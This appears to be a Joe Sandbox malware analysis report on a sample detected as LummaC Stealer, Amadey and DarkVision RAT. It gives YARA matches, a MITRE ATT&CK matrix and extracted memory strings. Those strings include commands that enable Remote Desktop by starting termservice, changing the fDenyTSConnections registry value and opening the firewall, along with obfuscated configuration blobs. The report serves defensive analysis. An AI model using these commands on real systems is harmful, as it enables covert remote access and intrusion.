Source: Yara match	File source: 28.2.8sb9w_003.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.svchost.exe.1dbe2750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.8sb9w_003.exe.83afc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2039011701.0000000000434000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2469971107.000001DBE2788000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2039794527.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8sb9w_003.exe PID: 4840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4260, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: s7MG2VL.exe PID: 8140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZqkKpwG.exe PID: 6364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eAzoDbY.exe PID: 4224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yo7qmvz.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: 35.2.yo7qmvz.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.ZqkKpwG.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.yo7qmvz.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.ZqkKpwG.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2466972573.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2101604103.000000000096D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2464880646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Contains functionality to start a terminal service

Source: 13s1HMkHKv.exe	String found in binary or memory: net start termservice
Source: 13s1HMkHKv.exe, 00000000.00000002.1235519901.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: net start termservice
Source: 13s1HMkHKv.exe, 00000000.00000002.1235519901.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000003.00000002.1263210409.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000003.00000002.1263210409.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 0000000B.00000002.2465023881.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 0000000B.00000002.2465023881.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	12 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	2 LSASS Driver	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 LSASS Driver	1 Abuse Elevation Control Mechanism	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Windows Service	1 DLL Side-Loading	41 Obfuscated Files or Information	NTDS	445 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Scheduled Task/Job	2 Windows Service	221 Software Packing	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	11 Registry Run Keys / Startup Folder	312 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	1181 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 File Deletion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	21 Masquerading	Proc Filesystem	451 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	451 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 13s1HMkHKv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: DarkVision Rat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
13s1HMkHKv.exe